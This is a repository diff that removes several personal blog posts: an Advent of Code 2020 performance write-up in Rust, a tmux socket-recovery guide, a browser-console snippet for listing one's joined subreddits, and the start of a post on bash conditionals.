||||
the other, in order.
|
||||
|
||||
```
|
||||
time bus 7 bus 13 X X bus 59 X bus 31 bus 19
|
||||
... . . . . . . . .
|
||||
1068780 . . . . . . . .
|
||||
1068781 D . . . . . . .
|
||||
1068782 . D . . . . . .
|
||||
1068783 . . D . . . . .
|
||||
1068784 . . . D . . . .
|
||||
1068785 . . . . D . . .
|
||||
1068786 . . . . . D . .
|
||||
1068787 . . . . . . D .
|
||||
1068788 D . . . . . . D
|
||||
1068789 . . . . . . . .
|
||||
...
|
||||
```
|
||||
|
||||
My initial thought was just to brute force through all times. The correct answer
|
||||
turns out to be very large (more than 640 trillion), making this impossible
|
||||
within a short time. I was unable to optimize this myself with basic mathematics
|
||||
due to the weird constraints.
|
||||
|
||||
Searching for the problem semantics and related keywords online revealed the [Chinese Remainder
|
||||
Theorem][crt]. It is very similar to the given problem and shows an efficient
|
||||
way to solve it with sample code. With minimal changes, I solved this seemingly
|
||||
impossible puzzle and the solution finds the answer in just `4μs`.
|
||||
|
||||
The important lesson here is that many Advent of Code problems resemble some
|
||||
well-defined algorithm or at least part of it. If you can't solve it yourself,
|
||||
try to find a suitable algorithm. Finding such an algorithm makes solving the
|
||||
problem child's play. This is super interesting for learning about new
|
||||
algorithms and approaches as well.
|
||||
|
||||
<!--
|
||||
|
||||
## Day 14: Docking Data
|
||||
|
||||
In [day 14 part 1][d14p1] a bitmask is given. It must be applied to a set of
|
||||
numbers to find the correct sum. The mask sets both `0` and `1` bits, some bits
|
||||
are undefined. I transformed it into an AND & OR mask to apply to all the
|
||||
values. This is computationally cheap, making it a fast solution, and preventing
|
||||
complex logic to filter all values. Quite an obvious solution reading the puzzle
|
||||
description.
|
||||
|
||||
In [part 2][d14p2] a bitmask is given...
|
||||
|
||||
TODO remove this day?
|
||||
|
||||
-->
|
||||
|
||||
## Day 15: Rambunctious Recitation
|
||||
|
||||
[Day 15][d15p2] requires you to continue a number sequence to find the number at
|
||||
a given position. The puzzle description explains the rules quite well. The
|
||||
second part gets tricky: it asks you the 30 millionth position. The problem is
|
||||
that for each number you have to traverse all previous numbers based on the
|
||||
given rules. This becomes super expensive for higher positions. For 30 million
|
||||
numbers this means traversing 450 trillion (!) numbers.
|
||||
|
||||
```
|
||||
Given: 6, 4, 12, 1, 20, 0, 16
|
||||
|
||||
2back 2back 1back new new 6back 3back
|
||||
| | | | | | |
|
||||
6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
|
||||
| | | | | | | |
|
||||
new new 2back 9back 5back 2back new new
|
||||
```
|
||||
|
||||
The sequence appears to be the [Van Eck sequence][van-eck-seq] (see
|
||||
[this][van-eck-numberphile] fantastic Numberpfile video on it). To my surprise,
|
||||
there doesn't seem to be an efficient algorithm for generating the sequence. The
|
||||
sequence does not repeat, nor does it have a known pattern that would help with
|
||||
generating. Many people (a lot smarter than I am) have taken up the challenge to
|
||||
find a more efficient method, but without result. This means I don't have to
|
||||
give it a try. Instead, I have to be careful to use the correct logic and data
|
||||
structures to keep my sequence generator as fast as possible.
|
||||
|
||||
I opted to [use][d15p2-code] a lookup table approach with an array and hash map
|
||||
combination. Because the last position of a number is important, the table is
|
||||
used for this with the number as a key and the last position as a value. This
|
||||
way generating the next number only requires a single lookup instead of
|
||||
traversing all previous numbers.
|
||||
|
||||
Instead of just using a fixed array or hash map for the lookup table as a whole,
|
||||
I split it in a low and high side at the 3 million mark. The low side is a fixed
|
||||
array, the high side utilizes a hash map. This turns out to be much faster than
|
||||
using just either of the two, improving runtime by 30%. This is super
|
||||
interesting to me, and I didn't expect it to be so much faster. It likely has to
|
||||
do with more efficient CPU cache usage on my system, where the low side with the
|
||||
array is dense, and the high side with the hash map is sparse, though I haven't
|
||||
looked into the details. This shows that using a single data structure isn't
|
||||
always the best approach, even though that might be against your expectations.
|
||||
|
||||
```
|
||||
Sequence example:
|
||||
6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
|
||||
|
||||
Last position lookup tables:
|
||||
|
||||
LOW SIDE ARRAY 0..3M HIGH SIDE MAP 3M..30M
|
||||
+-------+----------+ +------+------------+
|
||||
| index | last pos | | num | last pos |
|
||||
+-------+----------+ +------+------------+
|
||||
| 0 | 20 | | 3M | 3.2M |
|
||||
| 1 | 13 | | 3.2M | 8.3M |
|
||||
| 2 | 18 | | 3.5M | 9.1M |
|
||||
| 3 | 21 | | 3.6M | 4.9M |
|
||||
| 4 | 2 | | 3.7M | 11.2M |
|
||||
| 5 | 16 | | .. | .. |
|
||||
| .. | .. | | | |
|
||||
| 3M | 0 | | | |
|
||||
+-------+----------+ +------+------------+
|
||||
```
|
||||
|
||||
My final solution completes in `511ms`. Quite the achievement, as it seems
|
||||
rather fast compared to [others][reddit-day15]. This is the most costly puzzle
|
||||
when looking at runtime. It alone takes up 73% of my total runtime and consumes
|
||||
more than half of my 1-second target. _Ouch..._
|
||||
|
||||
[reddit-day15]: https://www.reddit.com/r/adventofcode/comments/kdf85p/2020_day_15_solutions/
|
||||
[van-eck-numberphile]: https://www.youtube.com/watch?v=etMJxB-igrc
|
||||
[van-eck-seq]: https://ibmathsresources.com/2019/06/12/the-van-eck-sequence/
|
||||
|
||||
## Day 17: Conway Cubes
|
||||
|
||||
For [day 17][d17p1] [Conway's Game of Life][cgol] returns (who'd have thought
|
||||
looking at its title), though it has a special twist. You have to figure out how
|
||||
many 'cubes' are active after a number of cycles, but this time we're doing it
|
||||
in 3D space. The puzzle input is a 2D slice that serves as starting state.
|
||||
|
||||
The first optimization I implemented was to limit the search space each cycle.
|
||||
This space starts with the input size and grows by one in each direction for
|
||||
each iteration. This limits the number of cubes to check, as distant cubes can't
|
||||
be active yet. Easy.
|
||||
|
||||
Because the initial state is a 2D slice, I noticed another interesting property.
|
||||
As the 2D slice is effectively the same on the two _sides_ of the third axis, it
|
||||
expands with the same pattern in both directions. This means that the third axis
|
||||
is mirrored from the center (the slice). I only have to simulate one of these
|
||||
two sides and multiply the cube count to get the answer we need. This halves
|
||||
the number of operations reducing runtime.
|
||||
|
||||
```
|
||||
2D example with 1D (column) input which mirrors:
|
||||
|
||||
single input column
|
||||
|
|
||||
---------------
|
||||
#---##---##---#
|
||||
#--#--#-#--#--#
|
||||
---#-#---#-#---
|
||||
----#-----#----
|
||||
--------------- what the field
|
||||
-----#---#----- <-- looks like after
|
||||
----##---##---- some cycles
|
||||
---##-----##---
|
||||
---------------
|
||||
-----#####-----
|
||||
------###------
|
||||
------###------
|
||||
|
|
||||
<<< | >>>
|
||||
|
|
||||
mirrors left and right
|
||||
```
|
||||
|
||||
[Part 2][d17p2] gets even better. The puzzle is similar but simulates in 4D
|
||||
space. To accommodate for this the rules have changed slightly, but the input is
|
||||
still the same 2D slice. This is fantastic because this means not just one but
|
||||
two axis are mirrored now. With the same optimization, I now need to simulate
|
||||
only ¼th of the space, making the solution 4 times quicker!
|
||||
|
||||
<!-- TODO: day 19 may be fun as well -->
|
||||
|
||||
## Day 20: Jurassic Jigsaw
|
||||
|
||||
[Day 20][d20p1] involves a jigsaw puzzle. Each piece is a 10×10 matrix of bits.
|
||||
All pieces form a larger square. The bits on the edges between two pieces must
|
||||
align. Every piece can be placed anywhere and may need to be rotated or flipped
|
||||
in any direction. That's a lot of combinations.
|
||||
|
||||
```
|
||||
Placed tiles for small example puzzle:
|
||||
|
||||
T3: T9: T2:
|
||||
..##. ...## #.##.
|
||||
##..# #...# #.###
|
||||
#...# #..#. .....
|
||||
####. ....# #...#
|
||||
##.## ##### ###.#
|
||||
|
||||
T1: T6: T5:
|
||||
##.## ##### ###.#
|
||||
.#.## #..## ###.#
|
||||
..#.. ..#.. .###.
|
||||
###.. .#.#. ..#.#
|
||||
..##. ..### #...#
|
||||
|
||||
T7: T4: T8:
|
||||
..##. ..### #...#
|
||||
#..#. .#..# #..##
|
||||
##.#. .#.#. .#.#.
|
||||
.#### ####. .###.
|
||||
..##. .#### #.###
|
||||
```
|
||||
|
||||
To solve the first part you must figure out what pieces are placed in the 4
|
||||
corners. [@gkhill](https://kevinhill.nl/) gave me the insight (thanks for that!)
|
||||
that corner pieces have two edges that don't connect to anything and likely
|
||||
won't match any other edge. Now I only had to find 4 pieces with edges that
|
||||
didn't match any other edge. In the example above the tiles, T3, T2, T7, and T8
|
||||
all have 2 edges that don't match any other. Rather simple. That worked.
|
||||
|
||||
In [part 2][d20p2] I use tricks like just rotating/flipping tile edges
|
||||
instead of the full tile body while positioning them. I won't go into further
|
||||
detail because it doesn't seem to affect the total runtime too much. But you
|
||||
might find the [implementation][d20p2-code] interesting.
|
||||
|
||||
## Day 23: Crab Cups
|
||||
|
||||
[Day 23][d23p1] involves a game of moving cups. The cups are arranged in a
|
||||
circle. Each is labeled with a unique number. To solve the puzzle you have to
|
||||
move chunks of them around based on a set of rules for a specific number of
|
||||
turns, to get a final sequence.
|
||||
|
||||
[Part 2][d23p2] gives you one million cups, for which you've to do ten million
|
||||
moves. That's a lot! Representing the cups as a list of numbers in an array
|
||||
turns out to be very inefficiënt. For each iteration, you'd have to move a chunk
|
||||
of cups through the list. This requires shifting a lot of items in memory,
|
||||
resulting in many reallocations. That's slow, no good!
|
||||
|
||||
Instead, I choose to [utilize][d23p2-code-list] a structure that essentially
|
||||
functions like a [linked list][linked-list]. I allocated an array with one item
|
||||
for each cup. The array is indexed by cup number. For each cup, it holds the
|
||||
number of the next cup. It effectively points to the following cup in the
|
||||
arrangement, looping the sequence.
|
||||
|
||||
This is great because it makes moving a chunk of cups around super cheap.
|
||||
Instead of having to shift a lot of items through memory, you just have to
|
||||
[update][d23p2-code-pointers] 3 pointers. To move a chunk of cups, I:
|
||||
|
||||
1. update the cup before the old chunk position, to point to the cup after the old chunk position,
|
||||
2. update the cup before the new chunk position, to point to the first cup of the chunk,
|
||||
3. update the last cup of the chunk, to point to the cup after the new chunk position.
|
||||
|
||||
```
|
||||
Cup sequence: 3 8 9 1 2 5 4 6 7
|
||||
|
||||
Linked list, storing our sequence:
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | <- cup label
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
| 2 | 5 | 8 | 6 | 4 | 7 | 3 | 9 | 1 | <- points to (next cup)
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
|
||||
|
||||
To move chunk [8, 9, 1] after 5:
|
||||
|
||||
Cup sequence: 3 |8 9 1| 2 5 4 6 7
|
||||
+-------+
|
||||
v
|
||||
+-------+
|
||||
Cup sequence: 3 2 5 |8 9 1| 4 6 7
|
||||
|
||||
+---------- 1. change 3 to point to 2
|
||||
| +-- 2. change 5 to point to 8
|
||||
+-------|-------|-- 3. change 1 to point to 4
|
||||
| | |
|
||||
| | |
|
||||
v v v
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | <- cup label
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
| 4 | 5 | 2 | 6 | 8 | 7 | 3 | 9 | 1 | <- points to (next cup)
|
||||
+---+---+---+---+---+---+---+---+---+
|
||||
```
|
||||
|
||||
As a bonus; you can instantly find a cup with a specified number by its index.
|
||||
And because the last cup can point to the first an edge case is removed for
|
||||
handling the sequence as a loop. Brilliant!
|
||||
|
||||
The final implementation runs `192ms`, making it the second slowest solution.
|
||||
The optimizations are useful here to keep everything under one second.
|
||||
|
||||
## Day 24: Lobby Layout
|
||||
|
||||
[Day 24][d24p1] involves a floor of hexagonal tiles. You're given a list of
|
||||
directions to move on it, the target tile must be flipped between black and
|
||||
white.
|
||||
|
||||
A hexagonal grid can be tricky to comprehend. I just [work][d24p1-code] with it
|
||||
as if it's a _square (but askew)_ grid. Seeing a problem like this differently
|
||||
can greatly reduce its complexity.
|
||||
|
||||
```
|
||||
_____ _____ _____
|
||||
/ \ / \ / \
|
||||
_____/ -2,-1 \_____/ 0,-1 \_____/ 2,-1 \_____
|
||||
/ \ / \ / \ / \
|
||||
/ -3,-1 \_____/ -1,-1 \_____/ 1,-1 \_____/ 3,-1 \
|
||||
\ / \ / \ / \ /
|
||||
\_____/ -2,0 \_____/ 0,0 \_____/ 2,0 \_____/
|
||||
/ \ / \ / \ / \
|
||||
/ -3,0 \_____/ -1,0 \_____/ 1,0 \_____/ 3,0 \
|
||||
\ / \ / \ / \ /
|
||||
\_____/ -2,1 \_____/ 0,1 \_____/ 2,1 \_____/
|
||||
/ \ / \ / \ / \
|
||||
/ -3,1 \_____/ -1,1 \_____/ 1,1 \_____/ 3,1 \
|
||||
\ / \ / \ / \ /
|
||||
\_____/ \_____/ \_____/ \_____/
|
||||
```
|
||||
|
||||
[Part 2][d24p2] challenges us to a _Game of Life_ one last time. This time we're
|
||||
using the hexagonal grid, however, ouch. The floor from part 1 is our starting
|
||||
state. A set of rules is provided to flip tiles between black and white based on
|
||||
their neighboring tiles.
|
||||
|
||||
I kept the square grid from part 1. Though each square tile has 6 neighbors
|
||||
(including 2 diagonal) instead of just 4 to match what a real hexagonal grid
|
||||
would be like. Based on the rules we only have to consider tiles that have at
|
||||
least one neighboring black tile. This makes processing the infinitely sized
|
||||
floor cheaper.
|
||||
|
||||
I [compile][d24p2-code] a list of all neighbor tiles for each black tile and
|
||||
count their occurrence number. After collecting this list I loop over all these
|
||||
neighbors with their occurrence count to process the rules accordingly. Using
|
||||
this method I skip looping over a huge amount of useless tiles and asserting the
|
||||
rules becomes simple, similar to what I've done on [day
|
||||
13](#day-11-seating-system). Doing just 100 iterations as the puzzle specifies
|
||||
takes `43.2ms`, pretty expensive I think. With `656ms` total runtime so far I'm
|
||||
still well under my 1-second target though.
|
||||
|
||||
## Day 25: Combo Breaker
|
||||
|
||||
On [day 25][d25p1] you're challenged to obtain the encryption key to break a
|
||||
card-based door locking system. A set of cryptography rules is given, along with
|
||||
the public key of the card and the door lock, and some additional parameters.
|
||||
|
||||
You have to brute force your way to the final encryption key which you must
|
||||
obtain. After understanding the cryptography rules it becomes clear that you've
|
||||
to run some multiplication & modulo calculations for an unknown number of cycles
|
||||
to obtain the final key. The number of cycles will likely be very large, so
|
||||
cracking this lock will take some time.
|
||||
|
||||
As part of the puzzle two public keys are given each having its own (unknown)
|
||||
number of cycles and parameters. This means that there are two paths to brute
|
||||
force the key, one of which being shorter. I want to be as quick as possible to
|
||||
keep runtime low, but it is unknown which path is faster.
|
||||
|
||||
I, therefore, choose to [crack][d25p1-code] both keys at the same time. The
|
||||
process will be complete as soon as the key is found for either of the two,
|
||||
using the shortest possible number of cycles. As the calculations on both keys
|
||||
are so similar the compiler [vectorized][vectorization] it in a single
|
||||
operation, basically making it as quick as cracking a single key. It
|
||||
took 8419518 cycles to crack this lock, running `27.9ms`. Awesome.
|
||||
|
||||
---
|
||||
|
||||
## Results
|
||||
|
||||
That's it. I solved all puzzles!
|
||||
|
||||
Now it was time to measure the total runtime.
|
||||
I've set up a simple [runner] for this to run and measure [all][runner-jobs] my
|
||||
solutions in sequence.
|
||||
|
||||
My final solutions complete in just `699ms`! That's from day 1 to day 25, 49
|
||||
solutions in total, one after the other (!). Well under my 1-second
|
||||
target. A fantastic achievement! Time to buy a cake.
|
||||
|
||||
```
|
||||
___________
|
||||
'._==_==_=_.'
|
||||
.-\: /-.
|
||||
| (|:. |) |
|
||||
'-|:. |-'
|
||||
\::. /
|
||||
'::. .'
|
||||
) (
|
||||
_.' '._
|
||||
`"""""""`
|
||||
```
|
||||
|
||||
Here's a chart with all results plotted ([details][timings]):
|
||||
|
||||
{{ fit_image(path="blog/2021-02-27_solving-aoc-2020-in-under-a-second/graph.png") }}
|
||||
|
||||
Out of interest I also ran all solutions in [parallel][runner-par] on my
|
||||
somewhat old 4-core Intel i5 CPU, which completes everything in a whopping
|
||||
`511ms`.
|
||||
|
||||
## Additional tricks
|
||||
|
||||
I did use other cool things to improve performance with which I didn't mention
|
||||
anywhere else. Here are some of them, most are Rust specific:
|
||||
|
||||
- [`include_bytes!`][include_bytes] & [`include_str!`][include_str]: *instead of
|
||||
reading puzzle input from a file at runtime, I embedded the file statically in
|
||||
the solution binary itself using these Rust macros. This removes file read
|
||||
operations, while still having a puzzle input file, shaving off some time.*
|
||||
- [`#[inline]`][inline]: *I suggested the compiler to inline some functions, to
|
||||
limit time spent by calling functions a billion times, shaving off some time.*
|
||||
- [`nom`][nom]: *an awesome Rust crate for building efficient binary parsers,
|
||||
[used][d18p1-code] this in [various][d02p2-code] places to parse tricky
|
||||
formats faster and more robustly than regexes or manual splitting.*
|
||||
- [Custom][cargo-config] build flags and native optimization: *for some
|
||||
solutions, I tweaked link-time optimization, disabled compile-time
|
||||
concurrency, and compiled with optimizations for my specific CPU model to
|
||||
shave of some time.*
|
||||
- Increased stack size limit: *for [day 15 part 2][d15p2-code-stack] I
|
||||
increased the maximum stack size with `ulimit -s unlimited` to fit more
|
||||
than 8192 kilobytes on the stack frame to make the overall solution more
|
||||
efficient.*
|
||||
|
||||
See the [source code][source] for more interesting stuff.
|
||||
|
||||
## Closing words
|
||||
|
||||
Some have probably come up with some faster solutions than me. When I compare my
|
||||
solutions with others in the Advent of Code [megathread][aoc-megathread] on
|
||||
Reddit, I seem to have done very well though.
|
||||
|
||||
Setting this goal made this year's Advent of Code very interesting to me. It
|
||||
constantly required me to think about what the most efficient approach could be.
|
||||
This makes you creative, making your code quite elegant in many cases. If you're
|
||||
looking for a challenge, I recommend you to do the same. Please consider to
|
||||
share your cool implementations as well.
|
||||
|
||||
Thanks for reading folks. I hope you've gained new insight on programming
|
||||
challenges and have learned a thing or two. I'll see you on the 1st of December
|
||||
for the next [Advent of Code][aoc]!
|
||||
|
||||
[aoc-2020]: https://adventofcode.com/2020/
|
||||
[aoc-leaderboard]: https://adventofcode.com/2020/leaderboard
|
||||
[aoc-megathread]: https://www.reddit.com/r/adventofcode/wiki/solution_megathreads#wiki_december_2020
|
||||
[aoc-stats]: https://adventofcode.com/2020/stats
|
||||
[aoc]: https://adventofcode.com/
|
||||
[bitwise-rotate]: https://en.wikipedia.org/wiki/Bitwise_operation#bit_rotation
|
||||
[cargo-config]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/.cargo/config
|
||||
[cgol]: https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life
|
||||
[crt]: https://en.wikipedia.org/wiki/Chinese_remainder_theorem
|
||||
[d01p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day01b/src/main.rs#L6
|
||||
[d01p2]: https://adventofcode.com/2020/day/1#part2
|
||||
[d02p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day02b/src/main.rs#L16-L35
|
||||
[d06p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day06a/src/main.rs#L9-L10
|
||||
[d06p1]: https://adventofcode.com/2020/day/6
|
||||
[d06p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/f41a0bdbce584cf160800dbebb5c49ee3023a592/day06b/src/main.rs#L8-L10
|
||||
[d06p2]: https://adventofcode.com/2020/day/6#part2
|
||||
[d09p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day09b/src/main.rs#L9-L20
|
||||
[d09p2]: https://adventofcode.com/2020/day/9#part2
|
||||
[d10p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day10b/src/main.rs#L13-L20
|
||||
[d10p2]: https://adventofcode.com/2020/day/10#part2
|
||||
[d11p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day11a/src/main.rs#L38-L54
|
||||
[d11p1]: https://adventofcode.com/2020/day/11
|
||||
[d11p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day11b/src/main.rs#L28-L39
|
||||
[d11p2]: https://adventofcode.com/2020/day/11#part2
|
||||
[d12p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day12a/src/main.rs#L12-L18
|
||||
[d12p1]: https://adventofcode.com/2020/day/12
|
||||
[d13p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day13b/src/main.rs
|
||||
[d13p2]: https://adventofcode.com/2020/day/13#part2
|
||||
[d14p1]: https://adventofcode.com/2020/day/14
|
||||
[d14p2]: https://adventofcode.com/2020/day/14#part2
|
||||
[d15p2-code-stack]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day15b/src/main.rs#L15
|
||||
[d15p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day15b/src/main.rs#L13-L36
|
||||
[d15p2]: https://adventofcode.com/2020/day/15#part2
|
||||
[d17p1]: https://adventofcode.com/2020/day/17
|
||||
[d17p2]: https://adventofcode.com/2020/day/17#part2
|
||||
[d18p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day18a/src/main.rs#L15-L32
|
||||
[d20p1]: https://adventofcode.com/2020/day/20
|
||||
[d20p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day20b/src/main.rs
|
||||
[d20p2]: https://adventofcode.com/2020/day/20#part2
|
||||
[d23p1]: https://adventofcode.com/2020/day/23
|
||||
[d23p2-code-list]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/src/main.rs#L10-L18
|
||||
[d23p2-code-pointers]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day23b/src/main.rs#L37-L39
|
||||
[d23p2]: https://adventofcode.com/2020/day/23#part2
|
||||
[d24p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day24a/src/main.rs#L11-L17
|
||||
[d24p1]: https://adventofcode.com/2020/day/24
|
||||
[d24p2-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day24b/src/main.rs#L30-L45
|
||||
[d24p2]: https://adventofcode.com/2020/day/24#part2
|
||||
[d25p1-code]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/day25a/src/main.rs#L8-L21
|
||||
[d25p1]: https://adventofcode.com/2020/day/25
|
||||
[include_bytes]: https://doc.rust-lang.org/std/macro.include_bytes.html
|
||||
[include_str]: https://doc.rust-lang.org/std/macro.include_str.html
|
||||
[inline]: https://doc.rust-lang.org/reference/attributes/codegen.html#the-inline-attribute
|
||||
[inspired-by]: https://www.forrestthewoods.com/blog/solving-advent-of-code-in-under-a-second/
|
||||
[linked-list]: https://en.wikipedia.org/wiki/Linked_list
|
||||
[nom]: https://github.com/Geal/nom
|
||||
[runner-jobs]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/lib.rs
|
||||
[runner-par]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/bin/runner-par.rs#L14
|
||||
[runner]: https://github.com/timvisee/advent-of-code-2020/blob/b8c6e75e3844714fe8fa229afa618941bd219e79/runner/src/bin/runner.rs#L5
|
||||
[rust]: https://www.rust-lang.org/
|
||||
[source]: https://github.com/timvisee/advent-of-code-2020
|
||||
[sparse-array]: https://en.wikipedia.org/wiki/Sparse_array
|
||||
[timings]: https://github.com/timvisee/advent-of-code-2020#timings
|
||||
[vectorization]: https://en.wikipedia.org/wiki/Automatic_vectorization
|
|
@ -1,62 +0,0 @@
|
|||
+++
|
||||
title = "Reconnect to broken tmux session"
|
||||
description = "Reconnect to a running tmux session, that tmux fails to connect to."
|
||||
|
||||
[taxonomies]
|
||||
categories = ["guide", "blog"]
|
||||
tags = ["tmux"]
|
||||
|
||||
[extra]
|
||||
zenn_applause = true
|
||||
+++
|
||||
|
||||
Ever tried to attach to a running tmux session, only to find that that fails?
|
||||
|
||||
```bash
|
||||
tmux attach
|
||||
# no sessions
|
||||
tmux ls
|
||||
# error connecting to /tmp/tmux-1000/default (No such file or directory)
|
||||
```
|
||||
|
||||
Even though you're sure tmux is running fine, it shows up as running in your
|
||||
task manager after all.
|
||||
|
||||
_So, where are your precious tmux sessions?_
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## Socket file
|
||||
All your tmux sessions are hosted by a single tmux process. This is persistent
|
||||
and keeps running until you quit all sessions again.
|
||||
|
||||
The process creates a socket file, other processes use this to talk to it. When
|
||||
you invoke `tmux attach`, the program finds this socket and attaches to it
|
||||
through the socket.
|
||||
|
||||
Now, what happens when you delete this file? Exactly, your `tmux` command doesn't
|
||||
know how to connect to the running server. That's what we're seeing here.
|
||||
|
||||
## Recreate socket
|
||||
Because others had the same issue, tmux provides a feature to fix this. When you
|
||||
send the `SIGUSR1` signal to the host process, it creates a fresh socket file
|
||||
for you.
|
||||
|
||||
For this, you need to find the PID of the running tmux server. Find it through
|
||||
your task manager, or invoke the following command to find the PID of the oldest
|
||||
running tmux process:
|
||||
|
||||
```bash
|
||||
pgrep --oldest tmux
|
||||
# 5612
|
||||
```
|
||||
|
||||
For me it was `5612`, so I invoke the following and attach it again (be sure to
|
||||
use your own PID):
|
||||
|
||||
```bash
|
||||
sudo kill -SIGUSR1 5612
|
||||
tmux attach
|
||||
```
|
||||
|
||||
Happy hacking!
|
Before Width: | Height: | Size: 18 KiB |
|
@ -1,70 +0,0 @@
|
|||
+++
|
||||
title = "List & export your subreddits"
|
||||
description = "A script to help you make a list and export all subreddits you joined."
|
||||
|
||||
[taxonomies]
|
||||
categories = ["guide", "blog"]
|
||||
tags = ["reddit", "snippet"]
|
||||
|
||||
[extra]
|
||||
zenn_applause = true
|
||||
+++
|
||||
|
||||
{{ fit_image(path="blog/2021-03-01_list-export-your-subreddits/header.png", url="/blog/list-export-your-subreddits/header.png") }}
|
||||
|
||||
The last few years I've been wanting to export the list of subreddits I joined.
|
||||
It's fun to share with friends having a similar interest,
|
||||
as I've collected many gems throughout the years.
|
||||
|
||||
To achieve this I've set-up a simple script.
|
||||
It exports your subreddits to a plain text list.
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## How to export
|
||||
1. Visit [old.reddit.com/subreddits/mine][list] in a desktop browser,
|
||||
make sure you're logged in.
|
||||
2. On that page, [open][developer-tools] your browser developer tools (Keybind: _Ctrl+Shift+I_).
|
||||
3. In the developer tools panel, open the **Console** tab.
|
||||
4. Copy-and-paste the following snippet into the console, press _Enter_ to run it:
|
||||
```javascript
|
||||
$('body').replaceWith('<body>'+$('.subscription-box').find('li').find('a.title').map((_, d) => $(d).text()).get().join("<br>")+'</body>');javascript.void()
|
||||
```
|
||||
5. Your full list of subreddits will appear on the webpage.
|
||||
|
||||
[Here][mine] is mine.
|
||||
|
||||
<br>
|
||||
|
||||
<details>
|
||||
<summary>Tap here if you're a nerd.</summary>
|
||||
|
||||
## For nerds
|
||||
Here is the above snippet, expanded:
|
||||
|
||||
```javascript
|
||||
// Pluck list of subreddits from page, build plain text list
|
||||
var subs = $('.subscription-box')
|
||||
.find('li')
|
||||
.find('a.title')
|
||||
.map((_, d) => $(d).text())
|
||||
.get()
|
||||
.join("<br>");
|
||||
|
||||
// Put list of subreddits on page
|
||||
$('body').replaceWith('<body>' + subs +'</body>');
|
||||
|
||||
javascript.void()
|
||||
```
|
||||
|
||||
Your complete list of subreddits is located in the sidebar on [that][list] page.
|
||||
The script plucks your list of reddits from this sidebar and puts it in an array.
|
||||
Then the array is imploded in a string to show on the page.
|
||||
Super simple.
|
||||
|
||||
</details>
|
||||
|
||||
[developer-tools]: https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools#How_to_open_the_devtools_in_your_browser
|
||||
[list]: https://old.reddit.com/subreddits/mine
|
||||
[mine]: https://gist.github.com/timvisee/5af8d219d0a88740cdac2351f2f77247
|
||||
[reddit]: https://reddit.com/
|
|
@ -1,201 +0,0 @@
|
|||
+++
|
||||
title = "Elegant bash conditionals"
|
||||
description = "How to write better bash scripts by replacing if-statements with something much more elegant"
|
||||
|
||||
[taxonomies]
|
||||
categories = ["blog"]
|
||||
tags = ["bash", "shell"]
|
||||
|
||||
[extra]
|
||||
toc = true
|
||||
zenn_applause = true
|
||||
comments = [
|
||||
{url = "https://news.ycombinator.com/item?id=26314489", name = "Hacker News"},
|
||||
{url = "https://www.reddit.com/r/linux/comments/lw0ofg/elegant_bash_conditionals/", name = "Reddit"},
|
||||
{url = "https://lobste.rs/s/nao13f/elegant_bash_conditionals", name = "Lobsters"},
|
||||
{url = "https://mastodon.social/@timvisee/105820152436436465", name = "Mastodon"},
|
||||
]
|
||||
+++
|
||||
|
||||
The if-statement is a very basic thing, not just in bash, but in all of programming.
|
||||
I see them used quite a lot in shell scripts,
|
||||
even though in many cases they can be replaced with something much more elegant.
|
||||
|
||||
In this rather short article, I'll show how control operators can be used
|
||||
instead.
|
||||
Many probably know about this, but don't realize how to use them nicely.
|
||||
This will help you write cleaner shell scripts in the future.
|
||||
|
||||
Here is what a simple if-statements looks like in bash:
|
||||
|
||||
```bash
|
||||
if [ expression ]
|
||||
then
|
||||
command
|
||||
fi
|
